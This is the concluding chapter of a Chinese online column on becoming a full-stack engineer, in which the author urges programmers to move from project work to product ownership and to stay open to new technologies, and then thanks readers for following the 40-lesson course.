继续提升的重要两步

对于我们专栏已经覆盖到的这些技能树的枝枝丫丫，我还想特别强调两个方面，这两个方面其实我们已经谈到过了，但是我觉得在今天，我们需要再拿出来稍稍强化一下。因为在我看来，它们有些特殊——它们对于程序员进一步发展至关重要，它们也是“成为更好的全栈工程师”所必须迈出的两步，但是谈论的人却很少。

1. 从做项目到做产品

你还记得吗？ [第 28 讲] 的选修课堂，我介绍了程序员独立性的几个阶段，不知道你属于哪一个阶段呢？作为职业生涯进阶的一部分，如果你还停留在“做项目”的阶段，那么你需要在某一天切换到“做产品”的模式上来，完成程序员独立性的升级。事实上，“做项目”，终归只是“做产品”整个过程中很小的一部分，只有对于产品多个阶段的不断地迭代、回馈，程序员很多方面的认识才能不断进化。

举个例子，对于程序员来说，oncall（定位和修复线上问题）就是“做产品”必经的一环，也是团队“吃自己的狗食”的重要一环。这个过程可以反哺开发阶段，没有这样的过程，就不会真正体会到代码质量的重要性，就不会彻底意识到单元测试的重要性，也不会对代码评审的必要性有深刻的认识。

因此，如果你还只有“做项目”的经验，我建议你，在未来给自己寻找做产品的机会。

2. 保持技术上的包容心

在 [第 14 讲] 我就谈到过这个给自己“贴标签”的问题，有些程序员工作没几年，无论是有意识还是无意识地，就已经给自己贴上了过于明确的技术分类的标签。

比如说，给自己贴上“PHP 工程师”的标签，理由是觉得 PHP 是最好的语言，因此求职的时候非 PHP 的岗位一概不考虑；比如，只想做 Billing 系统，其它的业务领域和项目一概不考虑；再比如，极度强调自己是“技术人”，而特别排斥管理技巧、沟通合作能力等这些被鄙视为“非干货”、“非实战”的内容，可是对于几乎所有的职业生涯技术路线来说，它们其实都是非常重要，且绕不开的槛。

再说说具体的技术，每个人都有偏好，但是不要因为自己的偏好，在技术的选择上失去程序员应有的理性判断，甚至将应当去接纳和学习的技术拒之门外。因为你也不知道哪一天，一个新领域、一门新技术会像浪潮一样涌来，就像几年前的云计算，这两年的区块链。只有那些有着包容心的程序员，才能去接纳和抓住机会。这也正如我在 [开篇词] 中所说的，最终也许我们需要“学得精”，但是一开始我们一定要“学得杂”。

送君千里，终须一别

任何一段旅程都有终点，这个专栏也不例外。

今天，你学到了这里，我最想大声地和你说一句话——祝贺你！从试读到购买，再到完整学习，我相信你已经一马当先，击败了一些人。现在，我希望你可以继续一马当先，不止在这个专栏，还在你今后的学习、工作和生活中。

回头看，整个专栏正文部分共计 40 讲，全部加起来有二十多万字。如果在一开始写专栏的时候跟我说，我会做到这个程度，我一定不相信。在这个过程当中，从主题选择、大纲确定、内容试写，到正式写作、绘图、审校、录音，整个过程确实让我颇为疲惫。一篇文章耗时最长的部分并非写作，而是内容选择和构思，比如怎样让你的收获最大化，得到更加通用的原理、套路 ，而不是停留在某个单一的技术表面上。但是，就像我在专栏上线以前想的那样，我觉得这是一件自己可以尽量认真做好的、很有意义的事情。现在看起来，我觉得可以稍微松口气了。

在这里，我要说，感谢你可以阅读这个专栏，并且特别感谢那些积极在留言区交流的朋友，关于全栈的内容，我们还可以继续在留言区沟通，也欢迎你访问我的个人博客，和我继续交流。

世界变化太快，技术发展太快，我们“被迫”成为了全栈工程师。

全栈，不只是一种技术分类，还代表了一种态度：理性、包容、好学。希望你可以从这个专栏得到你想要的，但更多的收获，需要你在线下继续努力。毕竟，《全栈工程师修炼指南》这个专栏结束了，而你的全栈之路却才刚刚开始。

好，我是四火，我们后会有期！

最后，文末有一份调查问卷，希望你可以抽出两分钟的时间填写一下。我会认真倾听你对这个专栏的意见或者建议，期待你的反馈！